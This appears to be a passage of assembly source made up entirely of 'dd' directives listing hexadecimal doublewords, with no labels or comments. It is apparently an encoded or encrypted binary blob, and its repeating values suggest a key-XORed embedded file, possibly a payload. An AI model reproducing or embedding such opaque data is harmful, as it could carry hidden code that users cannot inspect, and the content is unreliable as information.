dd 56AEB132h, 3657B153h, 1E7E66B3h, 0EDB3ECF9h, 568B239Eh
dd 58F7BE32h, 0BFBAB132h, 565DB13Bh, 0ED1DFDB0h, 3142C695h
dd 0BE21D12Bh, 56B4B587h, 0FBCD132h, 0AA656BB3h, 0BFDBC629h
dd 565DB135h, 53C5035Ch, 56F8512Fh, 5E24BE32h, 59D5B132h
dd 56EAB3B5h, 5614D132h, 56BA4432h, 5640363Dh, 0D6A1B132h
dd 5657B125h, 56ABA3DBh, 77A7BC32h, 0A43C6B1Ah, 0BC269139h
dd 4D13017Bh, 565EBD59h, 56BE5832h, 157EB132h, 0FC7F3F49h
dd 8E5D037Fh, 0EE34C53Dh, 5675F6FBh, 59BAB1CBh, 565DBCB4h
dd 56A65832h, 0C4E9B132h, 6781D83Ah, 562D815Dh, 5762BE32h
dd 0A375B132h, 59BAB1CEh, 565DA0B2h, 3B1AD132h, 5657B6DAh
dd 0C0F28332h, 43C24B7Dh, 56EAD06Ah, 4FFFBE52h, 0BFBAB132h
dd 565DB126h, 88F40899h, 5C121F34h, 51DB8983h, 7FD3C2E2h
dd 0BCE51F42h, 567D5853h, 0C213B132h, 7C86EDC6h, 56AE1E09h
dd 91DDD1CEh, 0B82AD761h, 378A415Fh, 0D78AB132h, 4CA865F2h
dd 56AE5825h, 0FDECB132h, 933C8C29h, 681F9DAh, 0B935EBCBh
dd 7FE92786h, 0A38B5F2Ch, 568CB132h, 0D7DCD132h, 593D8FC1h
dd 56AEB3B5h, 3736D132h, 30CBB132h, 0D39463B3h, 55995FB3h
dd 5614A59Ch, 56B55832h, 10FFB132h, 16E663B3h, 0D24EFAD0h
dd 146F85CCh, 36D5B157h, 0DB930E54h, 5675BDDBh, 965A9932h
dd 769A0EEh, 0DF5B2A37h, 0BF37D0D0h, 56ABB13Fh, 0BC210B30h
dd 8CCCCF76h, 0F47C356h, 5439BEA4h, 365DB132h, 56AED053h
dd 0EE314952h, 56CA83A1h, 56C65832h, 2180B132h, 1B883A6Ch
dd 473DF889h, 5174167Fh, 0F7AC0871h, 56574D98h, 0BFABB1CAh
dd 56D5B13Fh, 0CEA597Fh, 6E63573Dh, 5B4B6F2Dh, 595DB1DCh
dd 56AEA7B0h, 56465832h, 8E2AB132h, 72B185ECh, 0B26A58CEh
dd 0C0D577A0h, 562A8862h, 564F5832h, 8B1EB132h, 68604895h
dd 427BEDh, 0A0779B02h, 88A58B37h, 5975B1CBh, 56BAB9B5h
dd 54D8BE32h, 36AEB132h, 3657B153h, 8E2AD752h, 593CD804h
dd 1EAB132h, 0A7FB7FFFh, 0B57A1C6Fh, 0FF3C2B70h, 37CFB7A8h
dd 56AEB132h, 56AB4432h, 56DA5852h, 0E339B132h, 0B420F87Bh
dd 86C1ACBCh, 660CE875h, 0D6A1D06Dh, 5657B13Eh, 2312D752h
dd 5657BEB4h, 37EAB132h, 0BE15B132h, 56BAB122h, 0C581CB69h
dd 3207322Dh, 2B8E8849h, 8FD29143h, 0BF8CE965h, 56EAB134h
dd 34436E28h, 56DB14D0h, 4FD7BE32h, 59AEB132h, 5657A2B7h
dd 56A55832h, 0BE6CB132h, 7EC992FEh, 0E26B7E6Eh, 3AC1F8C5h
dd 565C3E3Dh, 5652B132h, 5FDBBE32h, 36ABB132h, 306D7FB2h
dd 3735138Bh, 5675A5DBh, 5124F332h, 6FA21E0Ch, 145A6367h
dd 90DC107h, 6451618Ah, 59D5B163h, 56EAB9BBh, 54F7BE32h
dd 36BAB132h, 365DB153h, 0C8130F54h, 90D0C98Ch, 56ABD05Bh
dd 5351BE52h, 0EEEAB132h, 50694280h, 377B0E3Dh, 565DA2DBh
dd 0FF264832h, 142B99F1h, 0E14426DFh, 0DFCE207h, 483583C2h
dd 5A9CB132h, 0FABAB132h, 0DAC9CFh, 3802664h, 0AA85A353h
dd 0E2CBB132h, 3029D145h, 3739A488h, 0BF75B153h, 56BAB123h
dd 3C72EB12h, 0C10ABD4Ch, 32B71D6Eh, 0FBB53732h, 59D5B1F1h
dd 56EAA5BFh, 567A5832h, 0C06FB132h, 8E265481h, 0B64A6FBAh
dd 0DC5E3EDEh, 36ABB1CEh, 0BD540A54h, 56EF373Dh, 0D713B132h
dd 37F93EF2h, 0D452B132h, 56AEB133h, 0BF57B1CBh, 56ABB123h
dd 854ABD35h, 8692113Ah, 404ADD08h, 780326E5h, 0BF5DB1F5h
dd 56AEB139h, 0A809114Ch, 0F085675Ch, 56FEF08Ah, 56FB5832h
dd 5F03B132h, 132AEBA1h, 7328570Eh, 454BAAC1h, 5630FA12h
dd 932BD132h, 56D5D01Bh, 56EABADBh, 0D4547D32h, 4FA5D8F5h
dd 0E8D23AD2h, 5656B132h, 5ADCBE32h, 59ABB132h, 56D5B7B8h
dd 566ABE32h, 5675B132h, 56B65832h, 1BDFB132h, 0B79EC228h
dd 19D4F483h, 56AB88B3h, 9854D752h, 0D8E55166h, 5675B134h
dd 56BA353Dh, 563CB132h, 0E9C8D132h, 0D358BCB3h, 56ABB126h
dd 56D5BEDBh, 21F3AD32h, 31DAA775h, 860549A1h, 0F1370FE9h
dd 0A3AEB153h, 53BEB132h, 0FBABB132h, 4096DF67h, 56EAA0DBh
dd 83856532h, 160420D6h, 0D606A80Ah, 98DFB254h, 56572AB8h
dd 56A8333Dh, 0A3B5B132h, 0A3EAB153h, 3689B132h, 56BD5852h
dd 9538B132h, 97D4EF36h, 46BED194h, 39ABB132h, 0BC61E238h
dd 22C6A0B6h, 70DE67D7h, 0DD17981Fh, 0AA3CD0E2h, 56AEB1DAh
dd 0BCD6EB32h, 50B02310h, 5750BE52h, 0AEEAB132h, 37BD3A54h
dd 599C0352h, 0DB3C6E8Dh, 4C34CDB7h, 0D4DE4834h, 50B0CBB1h
dd 8F5ED752h, 56E83A3Dh, 91FEB132h, 2B383C53h, 595BAD79h
dd 56AEB0B0h, 0DFAF4932h, 4DD125B0h, 5754BE34h, 0AFEAB132h
dd 5641C9DAh, 5A32BE32h, 0BF5DB132h, 56AEB135h, 0A8D3A879h
dd 0BEE97506h, 56D5B0CDh, 0A86876CBh, 5673AA4Bh, 59BAB132h
dd 565DB0B4h, 0AEFC4832h, 5F9234F4h, 0BFFDB727h, 56D5B120h
dd 5D3EA4A0h, 923F9FC0h, 0FE8F3BBAh, 7857F1D2h, 0D2A1C060h
dd 5657B133h, 0EEF9D9CEh, 59B52D9Ah, 0A98B7F8Dh, 435DA087h
dd 0D3374934h, 5045C38Eh, 56AEB4DBh, 734A5932h, 8654C5D9h
dd 56D5BCDBh, 1FBAB732h, 0EEFC4AECh, 885ECDF8h, 0D3D4595Ah
dd 50BBA42Bh, 5657B6DBh, 0DC54C32h, 46F7AC8Dh, 56F3303Dh
dd 429CB132h, 28BAB132h, 398A8FCDh, 7D5C34h, 55D7EFD8h
dd 4E4559h, 3CB4A9D6h, 56824436h, 3675B122h, 0DC9458B2h
dd 1635D0D8h, 0AEAEB23Fh, 0D058B158h, 56ABB133h, 59054ECAh
dd 56EAB7B7h, 0EC13D132h, 0CDB8310h, 565C343Dh, 5D52B132h
dd 0BFD3BEF2h, 0AEABB132h, 0A85738CAh, 0BFECAA4Bh, 5675B13Ch
dd 29E0A1E0h, 52EB991Fh, 5F5BAA11h, 0D4DE6BA2h, 50B0CB1Dh
dd 5B9508CAh, 0DD16B131h, 964648CAh, 361042C7h, 6C750A54h
dd 56AEA1DBh, 0A276B732h, 8ACA0659h, 155CC5D2h, 1C27AAA9h
dd 0D47AD013h, 56BAB13Eh, 98E3D752h, 5625BEF9h, 3757B132h
dd 52C14960h, 56D5A3DBh, 74756432h, 0EB86F6B8h, 0C9E31C3Eh
dd 0EB692C34h, 3EBF4EA5h, 5657A132h, 52ABD9CBh, 5E3CB132h
dd 84EAB132h, 854D6BB0h, 3CE9D8C1h, 40DFBE32h, 0BFAEB132h
dd 5657B123h, 0D90A1049h, 91BFEF46h, 0C56BD8F3h, 0CCB7AA0h
dd 4F284EEFh, 0BF5BA427h, 56AEB13Eh, 0E24A407Ch, 9D7BFEFEh
dd 7E0361B6h, 56FB5868h, 0F6ABB132h, 835DDB4Ch, 63208433h
dd 0AFC316B3h, 0DF63FD2Fh
dd 4DD705B0h, 575FBE34h, 0AAEAB132h, 0D25D153h, 0EFBE7EB3h
dd 0DD3CC009h, 4DD74FB7h, 59AFD134h, 95CA7185h, 56DB5852h
dd 23B132h, 675CC862h, 0BA8D569Eh, 6FD558A6h, 56AEB8DBh
dd 0FAB9A732h, 1FF967C8h, 36B401FAh, 9F6876C7h, 5673A431h
dd 0BFBAF132h, 565DB13Eh, 47EFEFFFh, 0C858B3D5h, 54A70D38h
dd 0DE163052h, 36867E69h, 7A00B54h, 37DB66B9h, 54D033F5h
dd 46AEB727h, 3637B132h, 7D236FB3h, 0BE54ACA1h, 4FC74F59h
dd 54F2BE53h, 0DDBAB132h, 363CD0C0h, 0C3B60954h, 5657A1DAh
dd 18DC6B32h, 13384933h, 0C246C1C5h, 0BB6BF71Bh, 10753069h
dd 95A6B90h, 0BF527253h, 5657B138h, 11271430h, 797BE167h
dd 598A4E4Ch, 5675B9B5h, 543CBE32h, 365DB132h, 56BD5853h
dd 0B132B132h, 97C9BE24h, 9CF2DECCh, 572F7473h, 0B8D38DB7h
dd 0A8003A0Eh, 365BAA4Bh, 56AEBEDBh, 4CB17A32h, 7389816Ch
dd 9C76DE08h, 0EB5293C7h, 2195F68Bh, 6939D07Fh, 80D9BE32h
dd 59AEB132h, 5657ACB5h, 0D8A4D132h, 56D5B132h, 56EAA1DBh
dd 0FA49DA32h, 88C999F2h, 0F32213CFh, 0C44C8095h, 29D4D076h
dd 0D2A4B322h, 56D5B163h, 469532CEh, 37F1BE36h, 59BAB132h
dd 565DAFBEh, 4E25BE32h, 0BF57B132h, 56ABB121h, 0DC0814EFh
dd 0EA48D97Ah, 2356AFD6h, 0FD7A9482h, 0D5B971AAh, 4247A5F5h
dd 0A057B132h, 85FDBB6Ah, 6D8CB023h, 466DA386h, 536308Bh
dd 0BF6BF22Dh, 0A9A24E48h, 46E976C7h, 5657B133h, 56ABB8DBh
dd 0BEBD6F32h, 500212A7h, 929C7932h, 0AA454ECDh, 554DF6F5h
dd 36AEB132h, 9A2852B3h, 0D0A4F26Bh, 56D5B134h, 0B23163B3h
dd 0BF14B857h, 0A9454E91h, 44B54952h, 3DAEB132h, 46A0D4ECh
dd 58EA143Bh, 6842D7BEh, 7655390Dh, 0E943B75h, 0E0DAD053h
dd 51B5E60Eh, 15AEB132h, 195C1E38h, 0CF5412Bh, 0DCB57253h
dd 36BFD0DDh, 0D57A4AB9h, 56BAB137h, 83933054h, 0BA25D0E4h
dd 0AE374DC7h, 0F312D752h, 0AD6ABE62h, 56EA5953h, 0D72FB132h
dd 4D2CC2D8h, 0EE3BD134h, 0EEC89062h, 593682CEh, 56ABB0B7h
dd 5B3C4432h, 0C9EAB132h, 1162BDADh, 0E1B261C4h, 9FA5DCE6h
dd 2A1403B9h, 0DDABB729h, 36CBB977h, 2EC40954h, 0E68BD052h
dd 50FCD0D7h, 56B23D3Dh, 0D952B132h, 56AEB130h, 0D4D4D052h
dd 50B0CD88h, 56D35836h, 16D2B132h, 0F433F4C0h, 0BF734453h
dd 565DB122h, 0B82A387Dh, 2491F540h, 3345B0DEh, 63444CB5h
dd 56EE73CBh, 0BE15D1C7h, 56BAB13Fh, 0DBC3F992h, 73A68FC4h
dd 76A19DAh, 8C2AEA5Eh, 45BB8518h, 56EA5953h, 0D72FB132h
dd 4D2DA2D8h, 0D852D134h, 56AEB131h, 30810E3Dh, 59CA67B9h
dd 56D5B0B1h, 0E4614D32h, 506ECD86h, 0EC088AC7h, 595BAA4Eh
dd 56AFD4B6h, 56455832h, 0B2CEB132h, 9071ACD3h, 8B21F6E0h
dd 978CC832h, 7C67B419h, 46B48FB9h, 8DAEB132h, 0E33B09B9h
dd 414C7D7Eh, 661704Ah, 0DD276E05h, 57F7BEEDh, 0AFBAB132h
dd 5712073Dh, 57E947CAh, 7FD2BEB2h, 0BFABB132h, 56D5B139h
dd 6BEE8997h, 70BB2427h, 552F3FD8h, 57D9BEEBh, 0A3AEB132h
dd 5653393Dh, 0DDCBB132h, 5F3CD0EBh, 0AEEAB132h, 0DC156819h
dd 37653ADCh, 361E4871h, 56AEA0DBh, 186EC732h, 94EAA0A1h
dd 0CF728CBCh, 371FB2F8h, 5C9CA580h, 74BAB132h, 0BC59BEDAh
dd 6D571286h, 0D3DCD026h, 50BEB673h, 56D2333Dh, 68AB132h
dd 0A5FED76Ah, 67373A53h, 365BA414h, 7613A54h, 295C7EB3h
dd 37F0C88Dh, 0D4DA6909h, 56EAB101h, 59AC8ACEh, 56BA9BB5h
dd 5DB4D132h, 0DCAEB132h, 998E7A01h, 3917EA07h, 0D5B41967h
dd 0AE16B5F4h, 0A98AB1DBh, 5E33BECDh, 595DB132h, 56AEB3B8h
dd 6D36D132h, 0D2FBEFDh, 0BFD5B132h, 56EAB13Eh, 0B934A59Ch
dd 0FABB0B03h, 1FBEECE5h, 709F0CBBh, 3037B727h, 0E731418Dh
dd 5A3CD0CDh, 0FAEAB132h, 43BD257Fh, 10979C0h, 0BFA863CEh
dd 0A9514F9Ch, 565D383Dh, 7CBB132h, 5653BE68h, 37EAB132h
dd 5675A0DBh, 4BF1F732h, 177AFD64h, 7677638Ah, 0C1C88123h
dd 59CA9283h, 56D5AEB5h, 4F69BE32h, 0BF75B132h, 56BAB126h
dd 0E95D428Eh, 0E7D9025Ah, 98351B31h, 5FBCFFC7h, 0F54E5A50h
dd 0F958D1F1h, 5915D0CEh, 56BABDBAh, 50D1BE32h, 59AEB132h
dd 5657B1B5h, 56AB5932h, 0D78FB132h, 4D725AD8h, 56655834h
dd 6C77B132h, 8FF19275h, 0C8A24958h, 4212491Bh, 5D428804h
dd 97D5B132h, 0B3F79998h, 798D1217h, 0D3B545AAh, 565DB13Ah
dd 56AC393Dh, 3737B132h, 2A1F0BB9h, 5D3CB729h, 30EAB132h
dd 0B9C0909Bh, 0DBAF1417h, 5CB45149h, 7EAEB132h, 45DCB5ECh
dd 6A1EEDBCh, 57D50844h, 68AB132h, 372EEB63h, 0D6B57101h
dd 565DB133h, 56A258C7h, 5BD5B132h, 525B8C33h, 81BE6587h
dd 0FD19D6A0h, 56725852h, 4DC3B132h, 0D650AAE9h, 0C5BE32Ah
dd 0E2D53A53h, 59ADAA4Eh, 56D5B0BAh, 0D4634832h, 506ECD88h
dd 56B65952h, 850EB132h, 7004EE4Eh, 8229337Ch, 8FAA528h
dd 56DB586Dh, 67E8B132h, 0D1CD8DC5h, 0DC65E24h, 0D8E9F6F7h
dd 0DEA1D053h, 5657B125h, 56ABA3DBh, 0E69E732h, 0E9F0B052h
dd 0D223F4B0h, 0E7DC3F4Fh, 0AE0A21EEh, 36CE44F1h, 5657BADBh
dd 5E12A832h, 134BA1E4h, 6C1D3E08h, 0BE8CD0CAh, 56BAB132h
dd 0AFB73068h, 0A3A8AAABh, 5657B9DBh, 7F3EFF32h, 4CCCF8D7h
dd 5E6CBE15h, 5975B132h, 56BAB3BBh, 903CD132h, 43A774B7h
dd 3037E734h, 371B1D88h, 49B8885Ah, 0DD8CD1E6h, 0A8FED7CBh
dd 5A39BE53h, 595DB132h, 56AEB7B7h, 56D2BE32h, 0A9ABB132h
dd 43FDA087h, 56E05834h, 0E79BB132h, 377FD466h, 9EB293D0h
dd 241234BFh, 3037B72Ah, 596DCF8Dh, 56D5B4BBh, 0A2070832h
dd 5914819Bh, 56BAB0BAh, 86A24932h, 56A43B3Dh, 0E037B132h
dd 562FBE29h, 37D5B132h, 0E88CD160h, 0ED1370DAh, 0BFDBAFD2h
dd 565DB13Ch, 9EE80A56h, 0FF7FD7B5h, 72BBAD91h, 0BF855AEAh
dd 56EAB138h, 0F1E5FD8Bh, 0B3411B80h, 56359D01h, 36AEB1B2h
dd 5957DB53h, 56ABA3B3h, 56D85832h, 4B9B132h, 0E6D87C96h
dd 94FA59BFh, 0A96C6465h, 4DD74F80h, 5EDFBE34h, 59ABB132h
dd 56D5B3B4h, 0A98BD132h, 0E894DE2h, 56BAB6DBh, 816B8B32h
dd 0F1CC1C85h, 45BEE052h, 0AFABB132h, 7E1618BAh, 0C107F34Eh
dd 54006DDh, 644AEA1Bh, 0BF05AFEDh, 56AEB122h, 0BB125E1h
dd 7677104Eh, 8A1A3B88h, 0F2543C64h, 0D77AEB53h, 56BAB133h
dd 0D65DD9CEh, 59CEB132h, 42BE4885h, 0E3ABB132h, 0A7B5599Fh
dd 764FDFADh, 70C8CCDFh, 0B886BCADh, 37E711C8h, 5629BE52h
dd 0AA57B132h, 59ABDB53h, 56D5B0B8h, 0E4154432h, 506ECD86h
dd 56B23D3Dh, 0D452B132h, 56AEB130h, 86A8D052h, 56B73D3Dh
dd 0D6B5B132h, 440362F0h, 0B675B132h, 0B212185Dh, 0A45CB908h
dd 2B3E02Eh, 5168D253h, 0BFCAD0BBh, 56D5B137h, 61EFB491h
dd 5E9C7248h, 6FBAB132h, 422373E3h, 38F5463h, 0A6DCD152h
dd 56ABA2DBh, 6E920832h, 2883A584h, 55085243h, 34A3F0A4h
dd 0A0971B29h, 562CBE53h, 3757B132h, 58425DB9h, 8CD5B132h
dd 0A5B5AA0Fh, 0A97A5887h, 0BB0A86Bh, 5BB4D14Ah, 0E9AEB132h
dd 0FD7A5962h, 683B9CA5h, 0DAD42B50h, 56EAB1DAh, 0BCF4EB32h
dd 50A12D20h, 57D8BEC7h, 0AEAEB132h, 595FC4B9h, 56ABB6B4h
dd 575BBE32h, 0AEEAB132h, 567BEEDAh, 56AA5832h, 4114B132h
dd 0A0BB15A8h, 15C3EFA4h
dd 87882B86h, 583CC7B6h, 8FEAB132h, 2F55C04Fh, 0ADE28CEBh
dd 0D54F8981h, 0A952E400h, 4D2D32A0h, 56BA5834h, 0CE15B132h
dd 80B7818Dh, 0A37C7161h, 7BEB3D9Dh, 0B59B3A8h, 56BF393Dh
dd 0D658B132h, 56ABB139h, 56D5B7DBh, 975D7A32h, 6D63B94Bh
dd 0D3B5BD47h, 0A9A24EA6h, 5B5C59CEh, 5DBEB132h, 1DABB132h
dd 0BB3150BFh, 15F4358Bh, 3789B174h, 266A3052h, 0BE1B89CEh
dd 56AEB13Bh, 3976122Eh, 4CDA6612h, 56C4583Dh, 0EC5BB132h
dd 185A4FB3h, 81603DBh, 4449B060h, 0E3BC615h, 0BF377853h
dd 56ABB13Ch, 9DACF362h, 70B640EDh, 8465AB6Ah, 0D7DAEB93h
dd 59469E5h, 37CF443Bh, 5957B9F0h, 56ABA4BBh, 56C55832h
dd 0FC0CB132h, 0FE2F8AE5h, 4BAADA4Dh, 6F4BA8AFh, 0AAFBC79Ch
dd 0D5A25DB9h, 534DF6h, 56D5BBDBh, 70D9C632h, 3ED01717h
dd 590AFD6Bh, 565DB0B4h, 0BFF94432h, 5657B120h, 58BDA557h
dd 76EFFDE9h, 0E310149Ah, 0DFFADD58h, 59E9B0F6h, 565DA5B9h
dd 56A15832h, 7052B132h, 6B60D6E5h, 87E203F0h, 46DCECE2h
dd 5675590Ch, 0D7E0B132h, 4DC0C6D8h, 0D6CE4434h, 0DD311ADCh
dd 2320D0CAh, 513CD13Ah, 97EAB132h, 0E116284Ch, 530D8A7Bh
dd 40D7BE53h, 0BFAEB132h, 5657B123h, 1C18FC57h, 0B5603C65h
dd 42482153h, 39DCCD17h, 46C73A2Ah, 5653383Dh, 0D7CEB132h
dd 0AFD717D3h, 5629BE0Bh, 37D5B132h, 56E25865h, 8107B132h
dd 37FDD9A1h, 360B697Eh, 56AEA5DBh, 3913D032h, 669D0CBFh
dd 0FDC6E778h, 0CD36BFFh, 0E68A416Ch, 0BE3BD7FDh, 0BE3C3410h
dd 56AEB001h, 5657B8DBh, 0E0ECE632h, 6E07609Bh, 96E13929h
dd 56C5353Dh, 5E53B132h, 0AD5DB132h, 9228A7CEh, 0DD331176h
dd 892BD1CAh, 56C65854h, 6815B132h, 0BB73DEE5h, 850E7E1h
dd 0A236B2B2h, 4E4AE7D7h, 3602D053h, 0D5394E53h, 59D3AA48h
dd 56EAB0BCh, 36284832h, 847C3054h, 373DE65Bh, 2395D06Ch
dd 9D3BE3Eh, 36ABB132h, 2156989h, 0C528303Bh, 37235761h
dd 0DDDCD052h, 564F582Ch, 8A63B132h, 0D729485Eh, 5D7DB4E8h
dd 5AA10416h, 0B12C4268h, 0A38556B2h, 3642AFB8h, 7412958Ch
dd 3A6C0A77h, 0D636A99Ah, 0ECCB41D1h, 0A9E0A09h, 0BDBD6BB3h
dd 0BE14DE40h, 56BA95D2h, 5BB449CAh, 59514ECDh, 5657B0B5h
dd 2B224432h, 693D49CEh, 0BF154EC4h, 5675B122h, 1FE74435h
dd 9B866413h, 408F69B8h, 611A90E3h, 0DDA4EACEh, 56D5B13Ch
dd 56EAB8DBh, 0FB20F332h, 0C924FB3Ah, 0BF02A547h, 56AEB139h
dd 0F74A3DA9h, 20F51901h, 8E75A09h, 0AAAF3ACEh, 539C78CAh
dd 0CBAB132h, 5D7C7EDh, 0BFAEBDF0h, 5657B13Ch, 9A7AAA8Dh
dd 109847C8h, 30E179C8h, 3801AA6h, 0AD683152h, 0A973054h
dd 0BA25D034h, 5657A2DBh, 6DCA8D32h, 3952564Eh, 547AB084h
dd 0E9F46C60h, 8ABAEB91h, 0BFA575B1h, 56AEB13Dh, 0C6C8E2F1h
dd 3ADCB922h, 9D166338h, 0BF2E467Bh, 5675B121h, 0D917E9Dh
dd 0D45F51A8h, 96F62D18h, 242ECA96h, 13A6BC7h, 56C73E3Dh
dd 5B03B132h, 1E75B132h, 695D134h, 728E4A8Ah, 23275F4Fh
dd 59BED164h, 93ABB132h, 1515FC12h, 55A3DE32h, 2FA8CB70h
dd 0EFDC5DCEh, 73C6BC3h, 56AEB6DBh, 3F3AA632h, 5E331237h
dd 56D43D3Dh, 51FB132h, 5674323Dh, 0AA43B132h, 56A5F4F5h
dd 0BFAEB132h, 5657B13Ah, 4D09B06Ah, 676590D8h, 2AC433F5h
dd 5674B729h, 0DCB5B132h, 565DB133h, 5EDB3ACAh, 0D558D152h
dd 56ABB132h, 506BD0C7h, 37A36059h, 596B3A54h, 56BAB9B8h
dd 54D7BE32h, 36AEB132h, 0A8ED3A53h, 36ADAA4Bh, 593C6681h
dd 90EAB132h, 8A95457Ah, 654EB803h, 0EAA0393Fh, 0DDCF1E9Bh
dd 0DE58B96Dh, 56ABB133h, 590EBAC7h, 56EACBB6h, 0D7154432h
dd 0AB5C2BF0h, 50D2BE72h, 0D7AEB132h, 7938E1FCh, 8890D000h
dd 56FA343Dh, 0AF13B132h, 3679ECB9h, 0EDDC48B9h, 0BF3CA887h
dd 56AEB13Fh, 7D4CD8D9h, 0EA54BDD5h, 78C5F761h, 5AB5388Ah
dd 5675B9DBh, 0CC8BFE32h, 0BAFD0D4Ch, 4269327Dh, 3737E252h
dd 56A35869h, 7BFAB132h, 0A9D5FA6Ah, 0BF142B3Bh, 0A9454EB5h
dd 565DBFDBh, 0ED3A8732h, 57F278A4h, 33069157h, 307D8BB6h
dd 0D3E5AFB9h, 5675B13Ah, 56B8363Dh, 373DB132h, 56AEBADBh
dd 0CFBEE632h, 0CF1BE806h, 0A0861D2Fh, 59024AB2h, 5676FBB6h
dd 0AD3A4D32h, 16D9BEDBh, 36AEB131h, 5657323Dh, 0D7FBB132h
dd 47820DEAh, 0D68BE91Dh, 0D27A5AC9h, 56BAB215h, 565C373Dh
dd 0D656B132h, 0D25853C9h, 56ABB3EAh, 0AD55D052h, 0E96EBED1h
dd 0BF75B130h, 56BAB123h, 1DA10F27h, 0A0A2E111h, 7A4F184Dh
dd 0A076489Fh, 0AD54D7FCh, 0D2E55255h, 5675B39Eh, 56AC383Dh
dd 0DC52B132h, 56AEB122h, 5657BADBh, 10ED1032h, 91BDA2DFh
dd 0B683FF9Dh, 0BF8556B2h, 56BAB13Ah, 22779BFAh, 555539F9h
dd 59AC3054h, 0E22FBEB2h, 36D5B130h, 0A6093153h, 5675BADBh
dd 0FD350F32h, 4390CD9Bh, 0F6F64D57h, 59274AB2h, 56A927B6h
dd 0D6B54432h, 371328FDh, 366B3A54h, 10CED08Ch, 0B5DDD008h
dd 15BD1CAh, 5657BDDBh, 282DD132h, 28996EC2h, 2203094Ch
dd 0D614EE32h, 0D2B509C9h, 565DB066h, 539031CEh, 571D353Dh
dd 0D652B132h, 0D2DA9C0Ch, 56EAB072h, 3E4B31CBh, 578C353Dh
dd 44B4B132h, 0EBAEB132h, 8DBEA8F4h, 37DFA953h, 0A2D2B31h
dd 7E3B0E4Dh, 78F74ED8h, 0BFBCAA4Eh, 565DB120h, 358138CAh
dd 0CE68FFDFh, 412F1116h, 6FB186DDh, 0DD8C9DCEh, 0B1F5442Ch
dd 0D7DC4DCAh, 59B530C9h, 56AE5EB6h, 30AB4D32h, 0D65EAFB9h
dd 0D5DA41D5h, 56EAB133h, 0ADF4D7CEh, 0D2B571B3h, 565DB1E6h
dd 56B63C3Dh, 45BEB132h, 0C5ABB132h, 17F9DD73h, 327B7B65h
dd 0F856D891h, 1A52888Ah, 5AB4F523h, 8BAEB132h, 389643B6h
dd 0C454B345h, 367E68ADh, 56EB323Dh, 368DB132h, 56B8373Dh
dd 0F8E9B132h, 37205EB2h, 565A5867h, 7B8CB132h, 4D3BEED2h
dd 70DDE0E4h, 0AA90E203h, 2C3923CDh, 0D152B729h, 56AEB138h
dd 59A63A52h, 56ABB1B5h, 0A388D032h, 56E1393Dh, 509CB132h
dd 6EBAB132h, 0DD139052h, 0AAEB38BFh, 5642323Dh, 0D1A4B132h
dd 56D5B13Dh, 56EABBDBh, 6DE39C32h, 4D2AC179h, 3747A492h
dd 0AAD332CEh, 5BD2BE33h, 36ABB130h, 56D5BDDAh, 78F99A32h
dd 8DFB29CBh, 0C752F5FEh, 565158C8h, 9AE8B132h, 0FF1B31F3h
dd 0B4EE27ADh, 308EEFECh, 375F198Ch, 55BC0BB9h, 0D9B5B727h
dd 565DB139h, 56AEB7DBh, 8892F132h, 65604ADh, 56D95852h
dd 5C58B132h, 4731D20Ah, 27A76D5Eh, 0E95236F2h, 30CED0F0h
dd 0AEAAE888h, 78293A53h, 36D3AA4Eh, 0D5DF0B54h, 66498853h
dd 7105D752h, 0BB9F30A1h, 37EF2C08h, 0DBD5BE6Ah, 0AAABB133h
dd 54580BB9h, 61FB727h, 0DDAA0152h, 0D431D0E4h, 5046CD1Ch
dd 56BE5852h, 0B18DB132h, 9CE833B7h, 691FBCA7h, 0BA9C9816h
dd 0A7FE73F7h, 6A834D53h, 50B5D102h, 91AEB132h, 840419BCh
dd 8620D7A0h, 3712026Ah, 1765BE6Ah, 0BF75B133h, 56BAB126h
dd 386E8EDDh, 0D94E8CC3h, 2AA018Fh, 6AC661B3h, 0EAE5497Ch
dd 56EAFFDBh, 13B24D32h, 56BAB3CAh, 16B44432h, 0A3AEB132h
dd 57AFF4F5h, 36ABB132h, 56D5BFDAh, 7EB17032h, 455F576h
dd 7B7CB811h, 0EEAF607Bh, 1FBE022h, 62E9D769h, 4242D09Bh
dd 0AD5B132h, 7F570FD6h, 8B797CAFh, 58118F59h, 3E0D8E64h
dd 0DD7AD668h, 4D2E4F88h
dd 5728BE34h, 0AAD5B132h, 0DD8AAEB9h, 0A1FED7EAh, 5961BA53h
dd 565D06B6h, 88954832h, 563B343Dh, 0DAA4B132h, 56D5B133h
dd 526BBECBh, 3675B132h, 0DDDB0C85h, 50B4BD6Fh, 21AEB132h
dd 1865288Dh, 2B2844E4h, 0D2DAB1CAh, 56EAB106h, 567D3C3Dh
dd 0DEB5B132h, 565DB130h, 4647D052h, 2857B132h, 5D072411h
dd 8DF767B8h, 1D3E6492h, 55801AE9h, 0D9B5496Fh, 565DB13Ah
dd 56AC363Dh, 3737B132h, 0BFAFEEBBh, 56D5B137h, 0BDD41AFCh
dd 91F64885h, 56BF5826h, 6814B132h, 5938B9CBh, 5657BDB5h
dd 5022BE32h, 59D5B132h, 56EAB1B6h, 0A9235832h, 0D9B54ECDh
dd 565DB133h, 366E82CAh, 60BED0CBh, 59ABB136h, 56D5B6B4h
dd 378AD132h, 37AE0E3Dh, 0BFA43A54h, 565DB13Fh, 0B694BDE6h
dd 0D8A51AD0h, 81713ADFh, 5AA83A99h, 0AD6A48CEh, 68F1BED9h
dd 0BFBAB132h, 565DB121h, 711BD88Fh, 0F1DED162h, 0CB6B96D7h
dd 1C69F9ACh, 0D655DD88h, 0D71541D1h, 2C5D66D5h, 565B587Bh
dd 454EB132h, 0CD4728BFh, 26503153h, 56A1353Dh, 0BF16B132h
dd 5675B1DFh, 0BFBD77CAh, 565C3F3Dh, 9157B132h, 5657B075h
dd 5B42B132h, 0A5D5B132h, 0FF8A81DEh, 92935C19h, 0DC3ABE96h
dd 5CB476B9h, 0EFAEB132h, 829327DEh, 254E8AEAh, 53153237h
dd 56FD323Dh, 3015B132h, 5B536FB9h, 4D5DB132h, 0AC7C9ABAh
dd 31ACAD8Eh, 0CF51801Dh, 55BA5853h, 0BF8AB132h, 5675B137h
dd 74DE3B33h, 80DCE6E3h, 35D09200h, 9131D068h, 36A3BE35h
dd 60023054h, 4860D04Fh, 98843052h, 0AE81F9A8h, 59BE3153h
dd 56BB383Dh, 46BEB132h, 31ABB132h, 0FFC8F5ADh, 0B3B3B27Ch
dd 0F1E5FD8Bh, 0D6411B80h, 0DC5231F9h, 56AEB13Eh, 56513A3Dh
dd 0DFA4B132h, 56D5B132h, 56EAB7DBh, 31A63D32h, 0DE2C8C85h
dd 36A4B06Dh, 0DD5E3A54h, 1190D0E3h, 56ABB130h, 915E4832h
